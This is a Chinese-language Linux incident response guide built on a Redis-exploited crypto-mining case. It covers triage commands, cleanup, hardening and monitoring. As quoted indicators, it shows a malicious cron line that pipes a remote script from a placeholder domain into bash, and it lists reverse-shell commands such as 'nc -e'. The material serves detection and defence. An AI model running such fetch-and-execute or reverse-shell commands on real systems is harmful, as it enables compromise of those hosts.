概述
背景介绍
在一次生产环境监控告警中,多台服务器CPU使用率异常飙升至100%。经紧急排查,发现是攻击者利用老版本Redis的未授权访问漏洞植入的挖矿病毒。本次事件促使团队沉淀了一套系统性的服务器入侵应急响应与加固方案。本文将基于真实案例,复盘入侵后的标准处置流程。
技术特点
- 时效性要求高:攻击者可能在线活动,需快速响应以阻止进一步破坏。
- 排查需系统化:必须覆盖进程、网络、用户、定时任务、启动项及日志等多个维度。
- 证据保留至关重要:在采取清理动作前,应先完整保留现场状态,便于后续溯源与分析。
适用场景
- 服务器资源(CPU/内存)异常飙升,疑似被植入挖矿程序。
- 发现来源不明或行为可疑的进程及网络连接。
- 收到云服务商的安全告警(如对外DDoS攻击、挖矿、木马等)。
- 系统日志中出现大量异常登录记录。
环境要求
| 组件 |
版本要求 |
说明 |
| 操作系统 |
CentOS 7+ / Ubuntu 18.04+ |
本文命令兼容主流发行版 |
| 排查工具 |
rkhunter, chkrootkit, unhide |
可选,用于深度Rootkit检测 |
| 网络工具 |
netstat/ss, lsof |
一般为系统自带 |
详细步骤
应急响应第一步:保持冷静,评估现场
发现入侵迹象后,切勿立即杀死进程或重装系统。正确的第一步是评估影响并保留现场证据。
1. 评估业务影响,谨慎断网
# 查看当前活跃的业务连接数
ss -ant | grep ESTABLISHED | wc -l
# 对于核心业务服务器,不可轻易断网
# 对于可隔离的测试或边缘服务器,可考虑切断公网访问
iptables -I INPUT -j DROP
iptables -I OUTPUT -j DROP
# 务必保留用于管理的SSH连接
iptables -I INPUT -s 你的管理IP -j ACCEPT
iptables -I OUTPUT -d 你的管理IP -j ACCEPT
2. 保留现场快照(关键步骤)
# 备份进程信息
ps auxf > /tmp/ps_$(date +%Y%m%d_%H%M%S).txt
# 备份网络连接状态
netstat -antup > /tmp/netstat_$(date +%Y%m%d_%H%M%S).txt
# 备份所有定时任务
crontab -l > /tmp/crontab_$(date +%Y%m%d_%H%M%S).txt
cat /etc/crontab >> /tmp/crontab_$(date +%Y%m%d_%H%M%S).txt
ls -la /etc/cron.* >> /tmp/crontab_$(date +%Y%m%d_%H%M%S).txt
# 如有条件,通过云平台控制台为系统盘创建快照
入侵排查流程
◆ 检查异常进程
恶意程序(如挖矿、反弹Shell)通常有活跃进程。
# 按CPU使用率排序,定位高负载进程
ps aux --sort=-%cpu | head -20
# 按内存使用排序
ps aux --sort=-%mem | head -20
# 查看进程树,识别伪装成子进程的恶意程序
ps auxf
重点关注:
- 进程名为随机字符串(如
aGhsZD)。
- 进程可执行文件位于
/tmp、/var/tmp、/dev/shm 等临时目录。
- 进程名伪装成系统服务(如
sshd),但路径异常。
高级恶意程序可能隐藏真实信息,可通过 /proc 文件系统深入查看:
# 假设可疑进程PID为12345
ls -la /proc/12345/exe # 查看实际的可执行文件路径
cat /proc/12345/cmdline | tr '\0' ' ' # 查看进程启动命令及参数
ls -la /proc/12345/fd/ # 查看进程打开的文件描述符
cat /proc/12345/environ | tr '\0' '\n' # 查看进程环境变量
◆ 检查异常网络连接
挖矿程序需连接矿池,后门程序需连接C2服务器。
# 查看所有网络连接(推荐使用更快的ss命令)
ss -antup
# 仅查看已建立的连接
ss -antup state established
# 查看监听端口的进程
ss -tlnp
重点关注:
- 连接到陌生IP地址或非常用端口的进程。
- 存在大量对外连接至同一IP的情况。
使用 lsof 进行补充检查:
# 查看所有网络连接
lsof -i
# 查看连接到特定外网IP的进程
lsof -i @外网IP
# 查看指定进程的网络活动
lsof -p 12345 -i
发现可疑IP可查询其归属:
curl ipinfo.io/12.34.56.78
◆ 检查异常用户和权限
攻击者常创建后门账户或提升普通用户权限。
# 查看所有用户
cat /etc/passwd
# 重点排查UID为0的用户(除root外)
awk -F: '$3==0 {print $1}' /etc/passwd
# 检查可登录的用户(Shell不是nologin/false)
grep -v '/nologin\|/false' /etc/passwd
# 按时间排序,检查新增的家目录
ls -lt /home/
# 检查sudo权限配置
cat /etc/sudoers
ls -la /etc/sudoers.d/
# 检查各用户的SSH授权密钥(后门入口)
cat /root/.ssh/authorized_keys
for user in $(ls /home); do echo "=== $user ==="; cat /home/$user/.ssh/authorized_keys 2>/dev/null; done
◆ 检查定时任务
定时任务是恶意程序实现持久化的常见手段。
# 检查root用户的定时任务
crontab -l
# 检查所有用户的定时任务
for user in $(cut -d: -f1 /etc/passwd); do echo "=== $user ==="; crontab -l -u $user 2>/dev/null; done
# 检查系统级定时任务
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/
# 查找最近7天内修改的定时任务文件
find /etc/cron* -mtime -7 -type f
# 检查anacrontab
cat /etc/anacrontab
# 检查systemd定时器
systemctl list-timers --all
◆ 检查启动项
恶意程序同样会将自己添加到开机启动项中。
# SysV风格启动脚本
ls -la /etc/init.d/
cat /etc/rc.local
# systemd服务
systemctl list-unit-files --type=service | grep enabled
# 查找最近新增或修改的服务文件
find /etc/systemd/system /usr/lib/systemd/system -mtime -7 -type f
# 用户级自启动(如有图形界面)
ls -la ~/.config/autostart/ 2>/dev/null
◆ 检查系统日志
日志是还原攻击路径的关键,但攻击者可能会清理日志。
# 查看近期成功/失败的登录记录
last -n 50
lastb -n 50 # 失败的登录尝试
# 查看认证日志(根据不同发行版)
tail -500 /var/log/secure | grep -i 'accepted\|failed' # CentOS/RHEL
tail -500 /var/log/auth.log | grep -i 'accepted\|failed' # Ubuntu/Debian
# 分析SSH暴力破解来源IP
grep "Failed password" /var/log/secure | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -20
# 查看系统日志
tail -500 /var/log/messages
journalctl -xe --no-pager | tail -200
# 检查日志文件是否被异常清空
ls -la /var/log/
◆ 检查Rootkit
Rootkit会深度隐藏自身,需使用专门工具检测。
# 安装并使用rkhunter
yum install -y rkhunter # CentOS
apt install -y rkhunter # Ubuntu
rkhunter --update
rkhunter --check --sk
# 安装并使用chkrootkit
yum install -y chkrootkit # 可能需要EPEL源
apt install -y chkrootkit
chkrootkit
# 使用unhide检测隐藏的进程和端口
yum install -y unhide
unhide proc
unhide sys
unhide-tcp
清除恶意程序
确认恶意程序信息后,按顺序清理,避免遗漏。
# 1. 终止恶意进程
kill -9 <PID>
# 若进程反复复活,可能存在守护进程,需一并找出并终止
ps auxf | grep -A5 <恶意进程名>
# 2. 删除恶意文件
rm -f /tmp/恶意文件 /var/tmp/恶意文件
# 3. 清理被篡改的定时任务
crontab -e # 手动删除可疑条目
rm -f /etc/cron.d/可疑文件
# 4. 清理恶意启动项
systemctl disable 可疑服务
rm -f /etc/systemd/system/可疑服务.service
systemctl daemon-reload
# 5. 删除后门账户
userdel -r 后门用户名
# 6. 清理SSH授权密钥
vim /root/.ssh/authorized_keys # 删除来源不明的公钥
注意:某些恶意文件可能被 chattr 锁定。
# 检查文件属性
lsattr /tmp/恶意文件
# 若存在`i`(不可修改)属性,先解除
chattr -i /tmp/恶意文件
# 再执行删除
rm -f /tmp/恶意文件
系统加固
清理后必须进行加固,防止再次被同一漏洞入侵。
# 1. 强化SSH安全
vim /etc/ssh/sshd_config
# 修改端口,禁止root登录及密码认证
# Port 22222
# PermitRootLogin no
# PasswordAuthentication no
systemctl restart sshd
# 2. 配置防火墙,放行新端口,禁用原22端口
# CentOS 7+ (firewalld)
firewall-cmd --permanent --add-port=22222/tcp
firewall-cmd --permanent --remove-service=ssh
firewall-cmd --reload
# 或使用iptables
iptables -A INPUT -p tcp --dport 22222 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j DROP
# 3. 更新系统及软件包
yum update -y # CentOS
apt update && apt upgrade -y # Ubuntu
# 4. 修复已知漏洞(以Redis为例)
vim /etc/redis.conf
# 添加认证密码并限制监听IP
# requirepass 你的强密码
# bind 127.0.0.1
# 5. 安装fail2ban防御暴力破解
yum install -y fail2ban
systemctl enable fail2ban
systemctl start fail2ban
示例代码和配置
完整排查脚本
以下脚本可用于一键收集系统关键信息,便于分析。
#!/bin/bash
# security_check.sh - Linux安全排查脚本
echo "========================================"
echo "Linux安全排查脚本"
echo "检查时间: $(date '+%Y-%m-%d %H:%M:%S')"
echo "主机名: $(hostname)"
echo "========================================"
echo ""
echo "=== 1. 系统基本信息 ==="
uname -a
cat /etc/os-release 2>/dev/null || cat /etc/redhat-release 2>/dev/null
echo ""
echo "=== 2. CPU占用TOP10进程 ==="
ps aux --sort=-%cpu | head -11
echo ""
echo "=== 3. 内存占用TOP10进程 ==="
ps aux --sort=-%mem | head -11
echo ""
echo "=== 4. 进程树 ==="
ps auxf
echo ""
echo "=== 5. 网络连接 ==="
ss -antup 2>/dev/null || netstat -antup
echo ""
echo "=== 6. 监听端口 ==="
ss -tlnp 2>/dev/null || netstat -tlnp
echo ""
echo "=== 7. UID=0的用户 ==="
awk -F: '$3==0 {print $1}' /etc/passwd
echo ""
echo "=== 8. 可登录用户 ==="
grep -v '/nologin\|/false' /etc/passwd
echo ""
echo "=== 9. 定时任务 ==="
echo "--- root crontab ---"
crontab -l 2>/dev/null
echo "--- /etc/crontab ---"
cat /etc/crontab
echo "--- /etc/cron.d/ 文件列表 ---"
ls -la /etc/cron.d/
echo ""
echo "=== 10. SSH公钥 ==="
echo "--- root ---"
cat /root/.ssh/authorized_keys 2>/dev/null
for user in $(ls /home 2>/dev/null); do echo "--- $user ---"; cat /home/$user/.ssh/authorized_keys 2>/dev/null; done
echo ""
echo "=== 11. 最近登录 ==="
last -n 20
echo ""
echo "=== 12. 失败登录 ==="
lastb -n 20 2>/dev/null
echo ""
echo "=== 13. 最近7天修改的文件(/tmp /var/tmp /dev/shm)==="
find /tmp /var/tmp /dev/shm -mtime -7 -type f 2>/dev/null
echo ""
echo "=== 14. 可疑目录下的可执行文件 ==="
find /tmp /var/tmp /dev/shm -type f -executable 2>/dev/null
echo ""
echo "=== 15. 启用的systemd服务 ==="
systemctl list-unit-files --type=service | grep enabled
echo ""
echo "=== 16. /etc/rc.local ==="
cat /etc/rc.local 2>/dev/null
echo ""
echo "=== 排查完成 ==="
使用方法:
chmod +x security_check.sh
./security_check.sh > check_result_$(date +%Y%m%d).txt 2>&1
less check_result_$(date +%Y%m%d).txt
实际应用案例
◆ 案例一:挖矿病毒排查
症状:服务器CPU持续100%,top显示名为 kworkerds 的进程占用极高。
排查过程:
# 1. 查看进程详情
ps aux | grep kworkerds
# 2. 查看进程真实路径
ls -la /proc/<PID>/exe # 例如:/tmp/.X11-unix/kworkerds
# 3. 检查网络连接
ss -antp | grep <PID> # 发现连接到外部矿池IP:3333
# 4. 检查定时任务
crontab -l # 发现恶意下载脚本的任务:*/5 * * * * curl http://恶意域名/xx.sh | bash
入侵原因:Redis未授权访问漏洞导致攻击者写入SSH公钥和恶意定时任务。
◆ 案例二:SSH暴力破解
症状:/var/log/secure 中存在海量失败登录记录,某弱密码账户被攻破。
排查与加固:
# 1. 定位攻击源IP
grep "Failed password" /var/log/secure | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head
# 2. 检查被攻破账户的操作历史及后门
cat /home/<用户名>/.bash_history
cat /home/<用户名>/.ssh/authorized_keys
# 3. 立即加固:禁用密码登录,部署fail2ban
vim /etc/ssh/sshd_config
# PasswordAuthentication no
cat > /etc/fail2ban/jail.local << 'EOF'
[sshd]
enabled = true
port = ssh
filter = sshd
logpath = /var/log/secure
maxretry = 5
bantime = 3600
EOF
systemctl restart fail2ban
最佳实践和注意事项
最佳实践
◆ 日常安全加固清单
预防胜于治疗,建议将以下加固措施作为基线配置。
# 1. SSH强化配置
cat >> /etc/ssh/sshd_config << 'EOF'
Port 22222
PermitRootLogin no
PasswordAuthentication no
MaxAuthTries 3
LoginGraceTime 60
AllowUsers ops deploy # 只允许指定用户登录
EOF
# 2. 系统账户安全
for user in bin daemon adm lp sync shutdown halt mail operator games ftp; do usermod -s /sbin/nologin $user 2>/dev/null; done
# 3. 关键文件权限加固
chmod 600 /etc/shadow
chmod 644 /etc/passwd
chmod 700 /root
# 4. 防止关键文件被篡改
chattr +i /etc/passwd /etc/shadow /etc/sudoers # 需修改时用 chattr -i 临时解除
◆ 监控告警配置示例(Prometheus)
通过监控系统及时发现异常。
groups:
- name: security
rules:
- alert: HighCPUUsage
expr: 100 - (avg by(instance)(irate(node_cpu_seconds_total{mode="idle"}[5m])) * 100) > 90
for: 5m
labels:
severity: warning
annotations:
summary: "CPU使用率过高,可能存在挖矿行为"
- alert: SuspiciousOutboundConnection
expr: increase(node_netstat_Tcp_OutSegs[5m]) > 100000
for: 5m
labels:
severity: warning
annotations:
summary: "对外连接数异常激增"
◆ 定期安全审计
将安全检查脚本加入定时任务,定期生成报告。
# 每周一凌晨2点执行检查并发送邮件
0 2 * * 1 /opt/scripts/security_check.sh | mail -s "服务器周安全检查报告" admin@company.com
注意事项
◆ 排查注意事项
- 慎用被入侵系统的命令:
ps、netstat、ls 等可能被替换或劫持,建议使用从可信源获取的静态编译工具(如busybox)进行排查。
- 全面保留证据:在终止进程前,记录其PID、内存镜像、网络连接等状态。
- 警惕横向移动:检查同一内网中的其他服务器是否已被渗透。
◆ 常见错误与解决
| 错误现象 |
原因分析 |
解决方案 |
| 杀掉进程后又自动启动 |
存在守护进程或监控进程的定时任务 |
先清理定时任务和守护进程,再杀主进程 |
删除文件提示Operation not permitted |
文件被chattr +i锁定 |
先执行 chattr -i <文件名> 解锁 |
| 清理后再次被入侵 |
漏洞未修复或存在未发现的持久化后门 |
彻底复查所有持久化位置,并修复根源漏洞 |
| 安全工具误报 |
工具本身存在误报,或系统存在Rootkit |
交叉验证多个工具结果,必要时考虑重装系统 |
◆ 何时应考虑重装系统
- 确认系统内核或关键模块被Rootkit替换。
- 入侵范围广,清理复杂度与成本已高于重装。
- 无法100%确认系统已被彻底清理干净。
故障排查和监控
日志分析技巧
# 统计登录失败次数TOP20的IP
grep "Failed password" /var/log/secure | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -20
# 查看特定IP在系统中的所有活动记录
grep "192.168.1.100" /var/log/secure
# 分析成功登录的时间规律
grep "Accepted" /var/log/secure | awk '{print $1,$2,$3}' | cut -d: -f1,2 | sort | uniq -c
# 搜索日志中的敏感操作命令
grep -E 'useradd|userdel|passwd|sudo|su ' /var/log/secure
关键监控指标
| 指标名称 |
正常范围 |
告警阈值 |
说明 |
| CPU使用率 |
0-70% |
>90% 持续5分钟 |
需排除正常的业务高峰 |
| 异常外连数 |
<50/min |
>200/min |
可能存在端口扫描或DDoS攻击 |
| SSH登录失败 |
<10/hour |
>100/hour |
很可能遭受暴力破解 |
| 新增系统用户 |
0 |
>0 |
任何非计划新增都应触发告警 |
| 定时任务变更 |
0 |
>0 |
监控/etc/cron*目录的文件变化 |
简易Shell监控脚本
可将以下脚本加入cron,实现分钟级基础监控。
#!/bin/bash
# 检查CPU使用率是否持续过高
cpu_usage=$(top -bn1 | grep "Cpu(s)" | awk '{print $2}' | cut -d% -f1)
if [ $(echo "$cpu_usage > 90" | bc) -eq 1 ]; then echo "告警:CPU使用率 ${cpu_usage}%"; fi
# 检查是否有新的ESTABLISHED连接到常见可疑端口(如矿池端口)
suspicious_ports="3333 4444 5555 6666 7777"
for port in $suspicious_ports; do
count=$(ss -ant | grep ":$port" | grep ESTAB | wc -l)
if [ $count -gt 0 ]; then echo "告警:发现连接到可疑端口 $port"; fi
done
总结
技术要点回顾
- 应急响应流程化:保持冷静 → 评估影响 → 保留证据 → 系统排查 → 彻底清理 → 全面加固。
- 排查需全面:覆盖进程、网络、用户、定时任务、启动项、日志六大维度。
- 清理要彻底:注意守护进程、文件锁定属性及多位置持久化手段。
- 加固是根本:修复漏洞、收紧权限、配置监控,形成安全闭环。
进阶学习方向
- 部署HIDS:考虑部署OSSEC、Wazuh等主机入侵检测系统,实现实时行为监控。
- 建立集中化日志平台:使用ELK或Graylog收集所有服务器日志,便于关联分析与溯源。
- 定期安全基线扫描:利用OpenSCAP等工具进行自动化合规检查。
- 开展攻防演练:通过内部红蓝对抗,主动发现并修复安全短板。
参考资料
- Linux安全加固指南 - CIS Benchmark
- rkhunter官方文档
- SANS Institute应急响应手册
附录
A. 命令速查表
# 进程排查
ps aux --sort=-%cpu | head -20 # CPU占用TOP20
ps auxf # 查看进程树
ls -la /proc/<PID>/exe # 查看进程真实路径
# 网络排查
ss -antup # 查看所有网络连接
ss -tlnp # 查看监听端口
lsof -i # 查看网络连接对应进程
# 用户排查
awk -F: '$3==0 {print $1}' /etc/passwd # 列出所有UID为0的用户
last -n 50 # 查看近期登录历史
lastb -n 50 # 查看近期失败登录
# 定时任务
crontab -l # 查看当前用户的定时任务
cat /etc/crontab # 查看系统定时任务
systemctl list-timers # 查看systemd定时器
# 文件排查
find /tmp -mtime -7 -type f # 查找/tmp下最近7天修改过的文件
lsattr <file> # 查看文件扩展属性
chattr -i <file> # 解除文件的不可修改(i)属性
B. 常见恶意程序特征
| 类型 |
常见特征 |
示例进程名 |
| 挖矿程序 |
CPU持续满载,连接3333、5555、7777等端口 |
kworkerds, ksoftirqd, kdevtmpfsi |
| 反弹Shell |
建立到外部IP的交互式连接 |
bash -i, /bin/sh -i, nc -e |
| DDoS肉鸡 |
产生大量对外并发连接 |
.sshd, atdd |
| SSH后门 |
监听非标准端口,伪装成正常服务 |
伪装成sshd的进程 |
C. 术语表
| 术语 |
英文 |
解释 |
| 入侵检测 |
Intrusion Detection |
识别系统是否遭受未授权访问或攻击的行为。 |
| 持久化 |
Persistence |
攻击者为维持对目标系统的长期访问权限所采用的技术。 |
| Rootkit |
Rootkit |
一组用于隐藏自身或其他软件存在痕迹的恶意工具集。 |
| C2 |
Command & Control |
攻击者用于远程控制受害主机的命令与控制服务器。 |
| 横向移动 |
Lateral Movement |
攻击者在攻破一台主机后,在内网中向其他主机扩散的过程。 |
| 入侵指标 |
Indicators of Compromise (IOC) |
能够表明系统可能已被入侵的可观察证据。 |